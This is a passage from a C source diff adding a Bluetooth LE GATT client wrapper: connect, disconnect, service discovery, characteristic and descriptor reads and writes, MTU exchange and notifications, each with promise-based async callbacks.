bt_status_to_feature_error(status), "gattc mtu failed!"); + bt_list_remove(gattc_info->userdata_list, data); + return; + } + + FeaturePromiseResolve(gattc_info->interface, data->pid); + bt_list_remove(gattc_info->userdata_list, data); +} + +static bt_gattc_feature_callbacks_t gattc_cbs = { + sizeof(gattc_cbs), + .on_connected = connect_callback, + .on_disconnected = disconnect_callback, + .on_discovered = discover_callback, + .on_read_char = read_char_callback, + .on_read_desc = read_desc_callback, + .on_write_char = write_char_callback, + .on_write_desc = write_desc_callback, + .on_subscribed = subscribe_complete_callback, + .on_notified = notify_received_callback, + .on_mtu_updated = mtu_updated_callback, +}; +#endif + +FeatureInterfaceHandle system_bluetooth_ble_wrap_createGattClientDevice(FeatureInstanceHandle feature, + AppendData append_data, FtString deviceId, FtString addressType) +{ +#ifdef CONFIG_BLUETOOTH_GATT + bt_instance_t* bluetooth_instance = feature_bluetooth_get_bt_ins(feature); + feature_bluetooth_features_info_t* features_info = (feature_bluetooth_features_info_t*)(bluetooth_instance->context); + feature_bluetooth_gattc_info_t* gattc_info = (feature_bluetooth_gattc_info_t*)calloc(1, sizeof(feature_bluetooth_gattc_info_t)); + + gattc_info->ins = bluetooth_instance; + gattc_info->gattc = (gattc_t*)calloc(1, sizeof(gattc_t)); + + if (!deviceId || !addressType) + goto error; + + if (bt_addr_str2ba(deviceId, &gattc_info->gattc->remote_address) < 0) + goto error; + + if (!strncmp(addressType, "PUBLIC", strlen("PUBLIC"))) + gattc_info->gattc->addr_type = BT_LE_ADDR_TYPE_PUBLIC; + else if (!strncmp(addressType, "RANDOM", strlen("RANDOM"))) + gattc_info->gattc->addr_type = BT_LE_ADDR_TYPE_RANDOM; + else if (!strncmp(addressType, "ANONYMOUS", strlen("ANONYMOUS"))) + gattc_info->gattc->addr_type = BT_LE_ADDR_TYPE_ANONYMOUS; + else + gattc_info->gattc->addr_type = BT_LE_ADDR_TYPE_UNKNOWN; + + FeatureInterfaceHandle handle = system_bluetooth_ble_createGattClientDevice_instance(feature); + FEATURE_LOG_INFO("%s::%s(), FeatureInstanceHandle: %p, FeatureInterfaceHandle: %p\n", file_tag, __FUNCTION__, feature, handle); + + gattc_info->interface = handle; + gattc_info->userdata_list = bt_list_new((bt_list_free_cb_t)feature_ble_list_free); + + bt_list_add_tail(features_info->feature_ble_gattc, gattc_info); + FeatureSetObjectData(handle, gattc_info); + + return handle; + +error: + free(gattc_info->gattc); + free(gattc_info); + return NULL; +#else + return NULL; +#endif +} + +#ifdef CONFIG_BLUETOOTH_GATT +static void feature_gattc_destroy(FeatureInterfaceHandle handle) +{ + feature_bluetooth_gattc_info_t* gattc_info = (feature_bluetooth_gattc_info_t*)FeatureGetObjectData(handle); + if (gattc_info == NULL) + return; + + bt_instance_t* bluetooth_instance = gattc_info->ins; + feature_bluetooth_features_info_t* features_info = (feature_bluetooth_features_info_t*)(bluetooth_instance->context); + + if (gattc_info->gattc->handle) { + FEATURE_LOG_INFO("%s::%s(), stop advertising\n", file_tag, __FUNCTION__); + if (gattc_info->gattc->conn_state == CONNECTION_STATE_CONNECTED) { + bt_gattc_feature_disconnect_async(gattc_info->gattc->handle, NULL, NULL); + } + + bt_gattc_feature_delete_client_async(bluetooth_instance, gattc_info->gattc->handle, NULL, NULL); + } + + free(gattc_info->gattc); + bt_list_free(gattc_info->userdata_list); + bt_list_remove(features_info->feature_ble_gattc, gattc_info); +} +#endif + +void system_bluetooth_ble_GattClient_interface_gattc_finalize(FeatureInterfaceHandle handle) +{ +#ifdef CONFIG_BLUETOOTH_GATT + feature_gattc_destroy(handle); +#endif +} + +#ifdef CONFIG_BLUETOOTH_GATT +static void gattc_connect_cb(bt_instance_t* ins, bt_status_t status, void* userdata) +{ + gattc_data_t* data = (gattc_data_t*)userdata; + feature_bluetooth_gattc_info_t* gattc_info; + + gattc_info = find_gattc_info_by_userdata(ins, userdata); + if (gattc_info == NULL) { + FEATURE_LOG_ERROR("%s, gattc info not found", __func__); + return; + } + + if (status != BT_STATUS_SUCCESS) + goto error; + + return; + +error: + if (gattc_info->gattc->conn_state == CONNECTION_STATE_CONNECTING) + gattc_set_conn_state(gattc_info, CONNECTION_STATE_DISCONNECTED); + + FEATURE_LOG_ERROR("%s, connect failed, status: %d", __func__, status); + FeaturePromiseReject(data->interface, data->pid, bt_status_to_feature_error(status), "gattc connect failed!"); + bt_list_remove(gattc_info->userdata_list, data); +} + +static void gattc_create_cb(bt_instance_t* ins, gatt_status_t status, gattc_handle_t conn_handle, void* userdata) +{ + gattc_data_t* data = (gattc_data_t*)userdata; + feature_bluetooth_gattc_info_t* gattc_info; + bt_status_t ret; + + gattc_info = find_gattc_info_by_userdata(ins, userdata); + if (gattc_info == NULL) { + FEATURE_LOG_ERROR("%s, gattc info not found", __func__); + return; + } + + if (status != GATT_STATUS_SUCCESS || !conn_handle) { + goto error; + } + + gattc_info->created = true; + gattc_info->gattc->handle = conn_handle; + FEATURE_LOG_INFO("%s, create connect success", __func__); + + ret = bt_gattc_feature_connect_async(gattc_info->gattc->handle, &gattc_info->gattc->remote_address, + gattc_info->gattc->addr_type, gattc_connect_cb, (void*)data); + if (ret == BT_STATUS_SUCCESS) { + return; + } + + status = ret; + +error: + if (gattc_info->gattc->conn_state == CONNECTION_STATE_CONNECTING) + gattc_set_conn_state(gattc_info, CONNECTION_STATE_DISCONNECTED); + + FEATURE_LOG_ERROR("%s, create connect failed, status: %d", __func__, status); + FeaturePromiseReject(data->interface, data->pid, bt_status_to_feature_error(status), "gattc create connect failed!"); + bt_list_remove(gattc_info->userdata_list, data); +} +#endif + +void system_bluetooth_ble_GattClient_interface_gattc_connect(FeatureInterfaceHandle handle, AppendData append_data, FtPromiseId pid) +{ +#ifdef CONFIG_BLUETOOTH_GATT + bt_status_t status; + gattc_data_t* data = NULL; + feature_bluetooth_gattc_info_t* gattc_info; + + status = BT_STATUS_FAIL; + gattc_info = FeatureGetObjectData(handle); + if (!gattc_info) { + FEATURE_LOG_ERROR("%s, gattc has been closed", __func__); + return; + } + + if (gattc_info->gattc->conn_state != CONNECTION_STATE_DISCONNECTED) { + FEATURE_LOG_ERROR("%s, Repeated Attempt", __func__); + status = BT_STATUS_DONE; + goto error; + } + + data = (gattc_data_t*)calloc(1, sizeof(gattc_data_t)); + if (!data) { + status = BT_STATUS_NOMEM; + goto error; + } + + data->interface = handle; + data->userdata_type = FEATURE_GATTC_CONN; + data->pid = pid; + bt_list_add_tail(gattc_info->userdata_list, data); + + if (gattc_info->created) { + if (!gattc_info->gattc->handle) { + FEATURE_LOG_ERROR("%s, not create connect", __func__); + status = BT_STATUS_FAIL; + goto error; + } + status = bt_gattc_feature_connect_async(gattc_info->gattc->handle, &gattc_info->gattc->remote_address, + gattc_info->gattc->addr_type, gattc_connect_cb, (void*)data); + } else { + status = bt_gattc_feature_create_client_async(gattc_info->ins, &gattc_info->gattc->remote_address, gattc_create_cb, + &gattc_cbs, (void*)data); + } + + if (status != BT_STATUS_SUCCESS) { + FEATURE_LOG_ERROR("%s, connect failed, status: %d", __func__, status); + goto error; + } + + gattc_set_conn_state(gattc_info, CONNECTION_STATE_CONNECTING); + return; + +error: + if (data) + bt_list_remove(gattc_info->userdata_list, data); + + FeaturePromiseReject(handle, pid, bt_status_to_feature_error(status), "gattc connect failed!"); +#else + FeaturePromiseReject(handle, pid, bt_status_to_feature_error(BT_STATUS_FAIL), "gattc is not supported."); +#endif +} + +#ifdef CONFIG_BLUETOOTH_GATT +static void gattc_disconnect_cb(bt_instance_t* ins, bt_status_t status, void* userdata) +{ + gattc_data_t* data = (gattc_data_t*)userdata; + feature_bluetooth_gattc_info_t* gattc_info; + + gattc_info = find_gattc_info_by_userdata(ins, userdata); + if (gattc_info == NULL) { + FEATURE_LOG_ERROR("%s, gattc info not found", __func__); + return; + } + + if (status == BT_STATUS_SUCCESS) + return; + + if (gattc_info->gattc->conn_state == CONNECTION_STATE_DISCONNECTING) + gattc_set_conn_state(gattc_info, CONNECTION_STATE_CONNECTED); + + FEATURE_LOG_ERROR("%s, disconnect failed, status: %d", __func__, status); + FeaturePromiseReject(data->interface, data->pid, bt_status_to_feature_error(status), "gattc disconnect failed!"); + bt_list_remove(gattc_info->userdata_list, data); +} +#endif + +void system_bluetooth_ble_GattClient_interface_gattc_disconnect(FeatureInterfaceHandle handle, AppendData append_data, FtPromiseId pid) +{ +#ifdef CONFIG_BLUETOOTH_GATT + bt_status_t status = BT_STATUS_FAIL; + gattc_data_t* data = NULL; + feature_bluetooth_gattc_info_t* gattc_info; + + gattc_info = FeatureGetObjectData(handle); + if (!gattc_info) { + FEATURE_LOG_ERROR("%s, gattc has been closed", __func__); + return; + } + + if (gattc_info->gattc->conn_state == CONNECTION_STATE_DISCONNECTED) { + FeaturePromiseResolve(handle, pid); + return; + } else if (gattc_info->gattc->conn_state != CONNECTION_STATE_CONNECTED) { + FEATURE_LOG_ERROR("%s, gattc not connected", __func__); + status = BT_STATUS_FAIL; + goto error; + } + + if (!gattc_info->gattc->handle) { + FEATURE_LOG_ERROR("%s, gattc handle is NULL", __func__); + status = BT_STATUS_FAIL; + goto error; + } + + data = (gattc_data_t*)calloc(1, sizeof(gattc_data_t)); + if (!data) { + status = BT_STATUS_NOMEM; + goto error; + } + + data->interface = handle; + data->pid = pid; + data->userdata_type = FEATURE_GATTC_DISCONN; + bt_list_add_tail(gattc_info->userdata_list, data); + + status = bt_gattc_feature_disconnect_async(gattc_info->gattc->handle, gattc_disconnect_cb, data); + if (status != BT_STATUS_SUCCESS) { + FEATURE_LOG_ERROR("%s, disconnect failed, status: %d", __func__, status); + goto error; + } + + gattc_set_conn_state(gattc_info, CONNECTION_STATE_DISCONNECTING); + return; + +error: + if (data) + bt_list_remove(gattc_info->userdata_list, data); + + FeaturePromiseReject(handle, pid, bt_status_to_feature_error(status), "gattc disconnect failed!"); +#else + FeaturePromiseReject(handle, pid, bt_status_to_feature_error(BT_STATUS_FAIL), "gattc is not supported."); +#endif +} + +#ifdef CONFIG_BLUETOOTH_GATT +// continuously reported +static void gattc_get_service_cb(bt_instance_t* ins, bt_status_t status, void* userdata) +{ + gattc_data_t* data = (gattc_data_t*)userdata; + feature_bluetooth_gattc_info_t* gattc_info; + + gattc_info = find_gattc_info_by_userdata(ins, userdata); + if (gattc_info == NULL) { + FEATURE_LOG_ERROR("%s, gattc info not found", __func__); + return; + } + + if (status != BT_STATUS_SUCCESS) + goto error; + + return; + +error: + FEATURE_LOG_ERROR("%s, get service failed, status: %d", __func__, status); + FeaturePromiseReject(data->interface, data->pid, bt_status_to_feature_error(status), "gattc get service failed!"); + bt_list_remove(gattc_info->userdata_list, data); +} +#endif + +void system_bluetooth_ble_GattClient_interface_gattc_getServices(FeatureInterfaceHandle handle, AppendData append_data, FtPromiseId pid) +{ +#ifdef CONFIG_BLUETOOTH_GATT + bt_status_t status = BT_STATUS_FAIL; + gattc_data_t* data = NULL; + feature_bluetooth_gattc_info_t* gattc_info; + + gattc_info = FeatureGetObjectData(handle); + if (!gattc_info) { + FEATURE_LOG_ERROR("%s, gattc has been closed", __func__); + return; + } + + if (gattc_info->gattc->conn_state != CONNECTION_STATE_CONNECTED) { + FEATURE_LOG_ERROR("%s, gattc not connected", __func__); + status = BT_STATUS_FAIL; + goto error; + } + + if (!gattc_info->gattc->handle) { + FEATURE_LOG_ERROR("%s, gattc handle is null", __func__); + status = BT_STATUS_FAIL; + goto error; + } + + data = (gattc_data_t*)calloc(1, sizeof(gattc_data_t)); + if (!data) { + status = BT_STATUS_NOMEM; + goto error; + } + + data->interface = handle; + data->pid = pid; + data->userdata_type = FEATURE_GATTC_DISCOVERY; + bt_list_add_tail(gattc_info->userdata_list, data); + + status = bt_gattc_feature_get_service_async(gattc_info->gattc->handle, gattc_get_service_cb, data); + if (status != BT_STATUS_SUCCESS) { + FEATURE_LOG_ERROR("%s, get service failed, status: %d", __func__, status); + goto error; + } + + return; + +error: + if (data) { + bt_list_remove(gattc_info->userdata_list, data); + } + + FeaturePromiseReject(handle, pid, bt_status_to_feature_error(status), "gattc get service failed!"); +#else + FeaturePromiseReject(handle, pid, bt_status_to_feature_error(BT_STATUS_FAIL), "gattc is not supported."); +#endif +} + +#ifdef CONFIG_BLUETOOTH_GATT +static void gattc_read_characteristic_cb(bt_instance_t* ins, bt_status_t status, void* userdata) +{ + gattc_data_t* data = (gattc_data_t*)userdata; + feature_bluetooth_gattc_info_t* gattc_info; + + gattc_info = find_gattc_info_by_userdata(ins, userdata); + if (gattc_info == NULL) { + FEATURE_LOG_ERROR("%s, gattc info not found", __func__); + return; + } + + if (status != BT_STATUS_SUCCESS) + goto error; + + return; + +error: + FEATURE_LOG_ERROR("%s, read characteristic failed, status: %d", __func__, status); + FeaturePromiseReject(data->interface, data->pid, bt_status_to_feature_error(status), "gattc read characteristic failed!"); + bt_list_remove(gattc_info->userdata_list, data); + return; +} +#endif + +void system_bluetooth_ble_GattClient_interface_gattc_readCharacteristicValue(FeatureInterfaceHandle handle, AppendData append_data, + FtPromiseId pid, system_bluetooth_ble_ReadCharacteristicValue* params) +{ +#ifdef CONFIG_BLUETOOTH_GATT + bt_status_t status; + uint8_t uuid128[16]; + bt_uuid_t service_uuid; + bt_uuid_t characteristic_uuid; + gattc_data_t* data = NULL; + feature_bluetooth_gattc_info_t* gattc_info; + + status = BT_STATUS_FAIL; + gattc_info = FeatureGetObjectData(handle); + if (!gattc_info) { + FEATURE_LOG_ERROR("%s, gattc has been closed", __func__); + return; + } + + if (gattc_info->gattc->conn_state != CONNECTION_STATE_CONNECTED) { + FEATURE_LOG_ERROR("%s, gattc not connected", __func__); + status = BT_STATUS_FAIL; + goto error; + } + + if (!gattc_info->gattc->handle) { + FEATURE_LOG_ERROR("%s, gattc handle is NULL", __func__); + status = BT_STATUS_FAIL; + goto error; + } + + if (get_valid_uuid128(uuid128, params->characteristic->characteristicUuid)) { + FEATURE_LOG_ERROR("%s, Invalid Characteristic UUID", __func__); + status = BT_STATUS_PARM_INVALID; + goto error; + } + bt_uuid128_create(&characteristic_uuid, uuid128); + + if (get_valid_uuid128(uuid128, params->characteristic->serviceUuid)) { + FEATURE_LOG_ERROR("%s, Invalid Service UUID", __func__); + status = BT_STATUS_PARM_INVALID; + goto error; + } + bt_uuid128_create(&service_uuid, uuid128); + + data = (gattc_data_t*)calloc(1, sizeof(gattc_data_t)); + if (!data) { + status = BT_STATUS_NOMEM; + goto error; + } + + data->interface = handle; + data->pid = pid; + data->userdata_type = FEATURE_GATTC_READ_CHAR; + bt_list_add_tail(gattc_info->userdata_list, data); + + status = bt_gattc_feature_read_characteristic_value_async(gattc_info->gattc->handle, &service_uuid, &characteristic_uuid, gattc_read_characteristic_cb, data); + if (status != BT_STATUS_SUCCESS) { + FEATURE_LOG_ERROR("%s, read characteristic failed, status: %d", __func__, status); + goto error; + } + + return; + +error: + if (data) + bt_list_remove(gattc_info->userdata_list, data); + + FeaturePromiseReject(handle, pid, bt_status_to_feature_error(status), "gattc write characteristic failed!"); +#else + FeaturePromiseReject(handle, pid, bt_status_to_feature_error(BT_STATUS_FAIL), "gattc is not supported."); +#endif +} + +#ifdef CONFIG_BLUETOOTH_GATT +static void gattc_read_descriptor_cb(bt_instance_t* ins, bt_status_t status, void* userdata) +{ + gattc_data_t* data = (gattc_data_t*)userdata; + feature_bluetooth_gattc_info_t* gattc_info; + + gattc_info = find_gattc_info_by_userdata(ins, userdata); + if (gattc_info == NULL) { + FEATURE_LOG_ERROR("%s, gattc info not found", __func__); + return; + } + + if (status != BT_STATUS_SUCCESS) + goto error; + + return; + +error: + FEATURE_LOG_ERROR("%s, read descriptor, status: %d", __func__, status); + FeaturePromiseReject(data->interface, data->pid, bt_status_to_feature_error(status), "gattc read descriptor failed!"); + bt_list_remove(gattc_info->userdata_list, data); +} +#endif + +void system_bluetooth_ble_GattClient_interface_gattc_readDescriptorValue(FeatureInterfaceHandle handle, AppendData append_data, + FtPromiseId pid, system_bluetooth_ble_ReadDescriptorValue* params) +{ +#ifdef CONFIG_BLUETOOTH_GATT + bt_status_t status; + uint8_t uuid128[16]; + bt_uuid_t service_uuid; + bt_uuid_t characteristic_uuid; + bt_uuid_t descriptor_uuid; + gattc_data_t* data = NULL; + feature_bluetooth_gattc_info_t* gattc_info; + + status = BT_STATUS_FAIL; + gattc_info = FeatureGetObjectData(handle); + if (!gattc_info) { + FEATURE_LOG_ERROR("%s, gattc has been closed", __func__); + return; + } + + if (gattc_info->gattc->conn_state != CONNECTION_STATE_CONNECTED) { + FEATURE_LOG_ERROR("%s, gattc not connected", __func__); + status = BT_STATUS_FAIL; + goto error; + } + + if (!gattc_info->gattc->handle) { + FEATURE_LOG_ERROR("%s, gattc handle is NULL", __func__); + status = BT_STATUS_FAIL; + goto error; + } + + if (get_valid_uuid128(uuid128, params->descriptor->characteristicUuid)) { + FEATURE_LOG_ERROR("%s, Invalid Descriptor UUID", __func__); + status = BT_STATUS_PARM_INVALID; + goto error; + } + bt_uuid128_create(&characteristic_uuid, uuid128); + + if (get_valid_uuid128(uuid128, params->descriptor->serviceUuid)) { + FEATURE_LOG_ERROR("%s, Invalid Service UUID", __func__); + status = BT_STATUS_PARM_INVALID; + goto error; + } + bt_uuid128_create(&service_uuid, uuid128); + + if (get_valid_uuid128(uuid128, params->descriptor->descriptorUuid)) { + FEATURE_LOG_ERROR("%s, Invalid Service UUID", __func__); + status = BT_STATUS_PARM_INVALID; + goto error; + } + bt_uuid128_create(&descriptor_uuid, uuid128); + + data = (gattc_data_t*)calloc(1, sizeof(gattc_data_t)); + if (!data) { + status = BT_STATUS_NOMEM; + goto error; + } + + data->interface = handle; + data->pid = pid; + data->userdata_type = FEATURE_GATTC_READ_DESC; + bt_list_add_tail(gattc_info->userdata_list, data); + + status = bt_gattc_feature_read_descriptor_value_async(gattc_info->gattc->handle, &service_uuid, &characteristic_uuid, &descriptor_uuid, gattc_read_descriptor_cb, data); + if (status != BT_STATUS_SUCCESS) { + FEATURE_LOG_ERROR("%s, read descriptor failed, status: %d", __func__, status); + goto error; + } + + return; + +error: + if (data) + bt_list_remove(gattc_info->userdata_list, data); + + FeaturePromiseReject(handle, pid, bt_status_to_feature_error(status), "gattc read descriptor failed!"); +#else + FeaturePromiseReject(handle, pid, bt_status_to_feature_error(BT_STATUS_FAIL), "gattc is not supported."); +#endif +} + +#ifdef CONFIG_BLUETOOTH_GATT +static void gattc_write_char_cb(bt_instance_t* ins, bt_status_t status, void* userdata) +{ + gattc_data_t* data = (gattc_data_t*)userdata; + feature_bluetooth_gattc_info_t* gattc_info; + + gattc_info = find_gattc_info_by_userdata(ins, userdata); + if (gattc_info == NULL) { + FEATURE_LOG_ERROR("%s, gattc info not found", __func__); + return; + } + + if (status != BT_STATUS_SUCCESS) + goto error; + + return; + +error: + FEATURE_LOG_ERROR("%s, write characteristic failed, status: %d", __func__, status); + FeaturePromiseReject(data->interface, data->pid, bt_status_to_feature_error(status), "gattc write characteristic failed!"); + bt_list_remove(gattc_info->userdata_list, data); +} +#endif + +void system_bluetooth_ble_GattClient_interface_gattc_writeCharacteristicValue(FeatureInterfaceHandle handle, AppendData append_data, + FtPromiseId pid, system_bluetooth_ble_WriteCharacteristicValue* params) +{ +#ifdef CONFIG_BLUETOOTH_GATT + bt_status_t status; + uint8_t uuid128[16]; + gatt_characteristic_t characteristic = { 0 }; + gattc_data_t* data = NULL; + feature_bluetooth_gattc_info_t* gattc_info; + ft_context_ref ft_ctx = FeatureGetContext(handle); + + status = BT_STATUS_FAIL; + gattc_info = FeatureGetObjectData(handle); + if (!gattc_info) { + FEATURE_LOG_ERROR("%s, gattc has been closed", __func__); + return; + } + + FtArray* descriptor_array = params->characteristic->descriptors; + int descriptor_len = descriptor_array->_size; + gatt_descriptor_t descriptor[descriptor_len]; + memset(descriptor, 0, sizeof(descriptor) * descriptor_len); + + if (gattc_info->gattc->conn_state != CONNECTION_STATE_CONNECTED) { + FEATURE_LOG_ERROR("%s, not connected", __func__); + status = BT_STATUS_FAIL; + goto error; + } + + if (!gattc_info->gattc->handle) { + FEATURE_LOG_ERROR("%s, gattc handle is NULL", __func__); + status = BT_STATUS_FAIL; + goto error; + } + + if (get_valid_uuid128(uuid128, params->characteristic->characteristicUuid)) { + FEATURE_LOG_ERROR("%s, Invalid Characteristic UUID", __func__); + status = BT_STATUS_PARM_INVALID; + goto error; + } + bt_uuid128_create(&characteristic.uuid, uuid128); + + if (get_valid_uuid128(uuid128, params->characteristic->serviceUuid)) { + FEATURE_LOG_ERROR("%s, Invalid Service UUID", __func__); + status = BT_STATUS_PARM_INVALID; + goto error; + } + bt_uuid128_create(&characteristic.service_uuid, uuid128); + + characteristic.descriptors = descriptor; + characteristic.value = ft_to_buffer(ft_ctx, &characteristic.value_len, *params->characteristic->characteristicValue); + + for (int i = 0; i < descriptor_len; i++) { + if (get_valid_uuid128(uuid128, ((system_bluetooth_ble_BLEDescriptor**)descriptor_array->_element)[i]->descriptorUuid)) { + FEATURE_LOG_ERROR("%s, Invalid Descriptor UUID", __func__); + status = BT_STATUS_PARM_INVALID; + goto error; + } + bt_uuid128_create(&descriptor[i].uuid, uuid128); + memcpy(&descriptor[i].service_uuid, &characteristic.service_uuid, sizeof(bt_uuid_t)); + memcpy(&descriptor[i].characteristic_uuid, &characteristic.uuid, sizeof(bt_uuid_t)); + + descriptor[i].value = ft_to_buffer(ft_ctx, &descriptor[i].value_len, *((system_bluetooth_ble_BLEDescriptor**)descriptor_array->_element)[i]->descriptorValue); + } + + data = (gattc_data_t*)calloc(1, sizeof(gattc_data_t)); + if (!data) { + status = BT_STATUS_NOMEM; + goto error; + } + + data->interface = handle; + data->pid = pid; + data->userdata_type = FEATURE_GATTC_WRITE_CHAR; + bt_list_add_tail(gattc_info->userdata_list, data); + + status = bt_gattc_feature_write_characteristic_value_async(gattc_info->gattc->handle, &characteristic, gattc_write_char_cb, data); + if (status != BT_STATUS_SUCCESS) { + FEATURE_LOG_ERROR("%s, write characteristic failed, status: %d", __func__, status); + goto error; + } + + return; + +error: + if (data) + bt_list_remove(gattc_info->userdata_list, data); + + FeaturePromiseReject(handle, pid, bt_status_to_feature_error(status), "gattc write characteristic failed!"); +#else + FeaturePromiseReject(handle, pid, bt_status_to_feature_error(BT_STATUS_FAIL), "gattc is not supported."); +#endif +} + +#ifdef CONFIG_BLUETOOTH_GATT +static void gattc_write_desc_cb(bt_instance_t* ins, bt_status_t status, void* userdata) +{ + gattc_data_t* data = (gattc_data_t*)userdata; + feature_bluetooth_gattc_info_t* gattc_info; + + gattc_info = find_gattc_info_by_userdata(ins, userdata); + if (gattc_info == NULL) { + FEATURE_LOG_ERROR("%s, gattc info not found", __func__); + return; + } + + if (status != BT_STATUS_SUCCESS) + goto error; + + return; + +error: + FEATURE_LOG_ERROR("%s, write descriptor failed, status: %d", __func__, status); + FeaturePromiseReject(data->interface, data->pid, bt_status_to_feature_error(status), "gattc write descriptor failed!"); + bt_list_remove(gattc_info->userdata_list, data); +} +#endif + +void system_bluetooth_ble_GattClient_interface_gattc_writeDescriptorValue(FeatureInterfaceHandle handle, AppendData append_data, + FtPromiseId pid, system_bluetooth_ble_WriteDescriptorValue* params) +{ +#ifdef CONFIG_BLUETOOTH_GATT + bt_status_t status; + uint8_t uuid128[16]; + size_t length; + gatt_descriptor_t descriptor = { 0 }; + gattc_data_t* data = NULL; + feature_bluetooth_gattc_info_t* gattc_info; + + status = BT_STATUS_FAIL; + gattc_info = FeatureGetObjectData(handle); + if (!gattc_info) { + FEATURE_LOG_ERROR("%s, gattc has been closed", __func__); + return; + } + + if (gattc_info->gattc->conn_state != CONNECTION_STATE_CONNECTED) { + FEATURE_LOG_ERROR("%s, not connected", __func__); + status = BT_STATUS_FAIL; + goto error; + } + + if (!gattc_info->gattc->handle) { + FEATURE_LOG_ERROR("%s, gattc handle is NULL", __func__); + status = BT_STATUS_FAIL; + goto error; + } + + if (get_valid_uuid128(uuid128, params->descriptor->descriptorUuid)) { + FEATURE_LOG_ERROR("%s, Invalid Descriptor UUID", __func__); + status = BT_STATUS_PARM_INVALID; + goto error; + } + bt_uuid128_create(&descriptor.uuid, uuid128); + + if (get_valid_uuid128(uuid128, params->descriptor->characteristicUuid)) { + FEATURE_LOG_ERROR("%s, Invalid Characteristic UUID", __func__); + status = BT_STATUS_PARM_INVALID; + goto error; + } + bt_uuid128_create(&descriptor.characteristic_uuid, uuid128); + + if (get_valid_uuid128(uuid128, params->descriptor->serviceUuid)) { + FEATURE_LOG_ERROR("%s, Invalid Service UUID", __func__); + status = BT_STATUS_PARM_INVALID; + goto error; + } + bt_uuid128_create(&descriptor.service_uuid, uuid128); + + ft_context_ref ft_ctx = FeatureGetContext(handle); + uint8_t* value = ft_to_buffer(ft_ctx, &length, *params->descriptor->descriptorValue); + descriptor.value = value; + descriptor.value_len = length; + + data = (gattc_data_t*)calloc(1, sizeof(gattc_data_t)); + if (!data) { + status = BT_STATUS_NOMEM; + goto error; + } + + data->interface = handle; + data->pid = pid; + data->userdata_type = FEATURE_GATTC_WRITE_DESC; + bt_list_add_tail(gattc_info->userdata_list, data); + + status = bt_gattc_feature_write_descriptor_value_async(gattc_info->gattc->handle, &descriptor, gattc_write_desc_cb, data); + if (status != BT_STATUS_SUCCESS) { + FEATURE_LOG_ERROR("%s, write descriptor failed, status: %d", __func__, status); + goto error; + } + + return; + +error: + if (data) + bt_list_remove(gattc_info->userdata_list, data); + + FeaturePromiseReject(handle, pid, bt_status_to_feature_error(status), "gattc write descriptor failed!"); +#else + FeaturePromiseReject(handle, pid, bt_status_to_feature_error(BT_STATUS_FAIL), "gattc is not supported."); +#endif +} + +#ifdef CONFIG_BLUETOOTH_GATT +static void gattc_set_mtu_cb(bt_instance_t* ins, bt_status_t status, void* userdata) +{ + gattc_data_t* data = (gattc_data_t*)userdata; + feature_bluetooth_gattc_info_t* gattc_info; + + gattc_info = find_gattc_info_by_userdata(ins, userdata); + if (gattc_info == NULL) { + FEATURE_LOG_ERROR("%s, gattc info not found", __func__); + return; + } + + if (status != BT_STATUS_SUCCESS) + goto error; + + return; + +error: + FEATURE_LOG_ERROR("%s, gattc set mtu failed, status: %d", __func__, status); + FeaturePromiseReject(data->interface, data->pid, bt_status_to_feature_error(status), "gattc set mtu!"); + bt_list_remove(gattc_info->userdata_list, data); +} +#endif + +void system_bluetooth_ble_GattClient_interface_gattc_setBLEMtuSize(FeatureInterfaceHandle handle, AppendData append_data, + FtPromiseId pid, system_bluetooth_ble_SetBLEMtuSize* params) +{ +#ifdef CONFIG_BLUETOOTH_GATT + bt_status_t status; + gattc_data_t* data = NULL; + feature_bluetooth_gattc_info_t* gattc_info; + + status = BT_STATUS_FAIL; + gattc_info = FeatureGetObjectData(handle); + if (!gattc_info) { + FEATURE_LOG_ERROR("%s, gattc has been closed", __func__); + return; + } + + if (gattc_info->gattc->conn_state != CONNECTION_STATE_CONNECTED) { + FEATURE_LOG_ERROR("%s, gattc not connected", __func__); + status = BT_STATUS_FAIL; + goto error; + } + + if (!gattc_info->gattc->handle) { + FEATURE_LOG_ERROR("%s, gattc handle is NULL", __func__); + status = BT_STATUS_FAIL; + goto error; + } + + data = (gattc_data_t*)calloc(1, sizeof(gattc_data_t)); + if (!data) { + status = BT_STATUS_NOMEM; + goto error; + } + + data->interface = handle; + data->pid = pid; + data->userdata_type = FEATURE_GATTC_SET_MTU; + bt_list_add_tail(gattc_info->userdata_list, data); + + status = bt_gattc_feature_exchange_mtu_async(gattc_info->gattc->handle, (uint32_t)params->mtu, gattc_set_mtu_cb, data); + if (status != BT_STATUS_SUCCESS) { + FEATURE_LOG_ERROR("%s, set mtu failed, status: %d", __func__, status); + goto error; + } + + return; + +error: + if (data) + bt_list_remove(gattc_info->userdata_list, data); + + FeaturePromiseReject(handle, pid, bt_status_to_feature_error(status), "gattc set mtu failed!"); +#else + FeaturePromiseReject(handle, pid, bt_status_to_feature_error(BT_STATUS_FAIL), "gattc is not supported."); +#endif +} + +#ifdef CONFIG_BLUETOOTH_GATT +static void gattc_set_notify_cb(bt_instance_t* ins, bt_status_t status, void* userdata) +{ + gattc_data_t* data = (gattc_data_t*)userdata; + feature_bluetooth_gattc_info_t* gattc_info; + + gattc_info = find_gattc_info_by_userdata(ins, userdata); + if (gattc_info == NULL) { + FEATURE_LOG_ERROR("%s, gattc info not found", __func__); + return; + } + + if (status != BT_STATUS_SUCCESS) + goto error; + + return; + +error: + FEATURE_LOG_ERROR("%s, set notify failed, status: %d", __func__, status); + FeaturePromiseReject(data->interface, data->pid, bt_status_to_feature_error(status), "gattc set notify failed!"); + bt_list_remove(gattc_info->userdata_list, data); +} +#endif + +void system_bluetooth_ble_GattClient_interface_gattc_setNotifyCharacteristicChanged(FeatureInterfaceHandle handle, AppendData append_data, + FtPromiseId pid, system_bluetooth_ble_SetNotifyCharChangedParams* params) +{ +#ifdef CONFIG_BLUETOOTH_GATT + bt_status_t status; + uint8_t uuid128[16]; + gatt_characteristic_t characteristic = { 0 }; + gattc_data_t* data = NULL; + feature_bluetooth_gattc_info_t* gattc_info; + + status = BT_STATUS_FAIL; + gattc_info = FeatureGetObjectData(handle); + if (!gattc_info) { + FEATURE_LOG_ERROR("%s, gattc has been closed", __func__); + return; + } + + if (gattc_info->gattc->conn_state != CONNECTION_STATE_CONNECTED) { + FEATURE_LOG_ERROR("%s, gattc not connected", __func__); + status = BT_STATUS_FAIL; + goto error; + } + + if (!gattc_info->gattc->handle) { + FEATURE_LOG_ERROR("%s, gattc handle not found", __func__); + status = BT_STATUS_FAIL; + goto error; + } + + if (get_valid_uuid128(uuid128, params->characteristic->serviceUuid)) { + FEATURE_LOG_ERROR("%s, Invalid service UUID", __func__); + status = 